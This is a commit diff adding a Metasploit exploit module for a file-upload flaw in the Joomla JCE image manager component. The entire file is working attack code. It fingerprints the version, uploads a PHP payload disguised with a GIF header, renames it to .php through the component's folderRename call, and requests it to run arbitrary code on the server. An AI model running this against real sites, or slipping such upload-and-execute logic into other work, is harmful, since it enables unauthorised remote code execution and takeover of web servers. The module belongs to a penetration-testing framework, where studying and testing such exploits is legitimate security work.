add Joomla Component JCE File Upload Code Execution

Author: HeyderAndrade

modules/exploits/multi/http/joomla_comjce_imgmanager.rb

@@ -0,0 +1,196 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Joomla Component JCE File Upload Code Execution',
+			'Description'    => %q{
+					This module exploits a vulnerability  in the JCE component for Joomla!
+			could allow a  unauthenticated remote attacker to upload arbitrary files,
+			caused by the fails to  sufficiently sanitize user-supplied input.
+			Sending a specially-crafted HTTP request, a remote attacker could exploit
+			this vulnerability to upload a malicious PHP script, which could allow the
+			attacker to execute arbitrary PHP code on the vulnerable system.
+			},
+			'Author'         => [ 'Heyder Andrade <eu[at]heyderandrade.org>' ],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					['BID', '49338'],
+					['EDB', '17734'],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Keys'        => ['php'],
+					'DisableNops' => true,
+					'Compat'      =>
+						{
+							'ConnectionType' => 'find',
+						},
+					'Space'       => 1024, # default upload max_size
+				},
+			'Platform'       => 'php',
+			'Arch'           => ARCH_PHP,
+			'Targets'        => [[ 'Automatic', { }]],
+			'DisclosureDate' => 'Aug 2 2012',
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('URI', [true, "Joomla directory path", "/"])
+				], self.class)
+	end
+
+
+	def get_version
+		# check imgmanager version
+		@uri_base = normalize_uri(datastore['URI'], 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager')
+		uri = ''
+		uri << @uri_base
+		print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
+		res = send_request_cgi(
+			{
+				'uri' 	  => uri,
+				'method'  => 'GET',
+				'version' => '1.1',
+
+			}, 25)
+
+		if (res and res.code == 200)
+			res.body.match(%r{^\s+?<title>Image\sManager\s:\s?(.*)<})
+			version = $1.nil? ? nil : $1
+		end
+
+		return version
+	end
+
+	def check
+		version = ( get_version || '').to_s
+
+		if (version.match(%r{1\.5\.7\.1[0-4]?}))
+			return Exploit::CheckCode::Vulnerable
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
+
+	def upload_gif
+		# add GIF header
+		cmd_php = "GIF89aG\n<?php #{payload.encoded}  ?>"
+
+		# Generate some random strings
+		@script_name  	= rand_text_alpha_lower(6)
+		boundary   		= '-' * 27 + rand_text_numeric(11)
+
+		uri = ''
+		uri << @uri_base
+		uri << '&method=form'
+
+		# POST data
+		data = 	"--#{boundary}\r\n"
+		data << "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n"
+		data << "/\r\n"
+		data << "--#{boundary}\r\n"
+		data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n"
+		data << "Content-Type: application/octet-stream\r\n\r\n"
+		data << "\r\n"
+		data << "--#{boundary}\r\n"
+		data << "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n"
+		data << "0\r\n"
+		data << "--#{boundary}\r\n"
+		data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@script_name}.gif\"\r\n"
+		data << "Content-Type: image/gif\r\n\r\n"
+		data << "#{cmd_php}\r\n"
+		data << "--#{boundary}\r\n"
+		data << "Content-Disposition: form-data; name=\"upload-name\"\r\n\r\n"
+		data << "#{@script_name}\r\n"
+		data << "--#{boundary}\r\n"
+		data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
+		data << "upload\r\n"
+		data << "--#{boundary}--\r\n\r\n"
+		res = send_request_cgi({
+			'uri'	  => uri,
+			'method'  => 'POST',
+			'version' => '1.1',
+			'data'    => data,
+			'ctype'	 => 'multipart/form-data; boundary=' + boundary
+		}, 25)
+
+		if (res and res.code = 200 )
+			return :access_denied if (res.body =~ /RESTRICTED/i)
+			print_good("Successfully uploaded #{@script_name}.gif")
+		else
+			print_error("Error uploading #{@script_name}.gif")
+			return :abort
+		end
+
+		return :success
+
+	end
+
+	def renamed?
+		# Rename the file from .gif to .php
+		uri = ''
+		uri << @uri_base
+		uri << '&version=1576&cid=20'
+
+		data =	"json={\"fn\":\"folderRename\",\"args\":[\"/#{@script_name}.gif\",\"#{@script_name}.php\"]}"
+
+		print_status("Change Extension from #{@script_name}.gif to #{@script_name}.php")
+
+		res = send_request_cgi(
+			{
+				'uri'       => uri,
+				'method'    => 'POST',
+				'version'   => '1.1',
+				'data' 	    => data,
+				'ctype'     => 'application/x-www-form-urlencoded; charset=utf-8',
+				'headers'   =>
+				{
+					'X-Request' => 'JSON'
+				}
+			}, 25)
+		if (res and res.code == 200 )
+			print_good("Renamed #{@script_name}.gif to #{@script_name}.php")
+			return true
+		else
+			print_error("Failed to rename #{@script_name}.gif to #{@script_name}.php")
+			return false
+		end
+	end
+
+	def call_payload
+		directory   = 'images/stories/'
+		print_status("Calling payload: #{@script_name}.php")
+		uri = normalize_uri(datastore['URI'])
+		uri << directory + @script_name + ".php"
+		res = send_request_raw({
+			'uri'	=> uri
+		}, 25)
+	end
+
+	def exploit
+
+		return if not check == Exploit::CheckCode::Vulnerable
+		if upload_gif == :success
+			if renamed?
+				call_payload
+			end
+		end
+
+	end
+
+end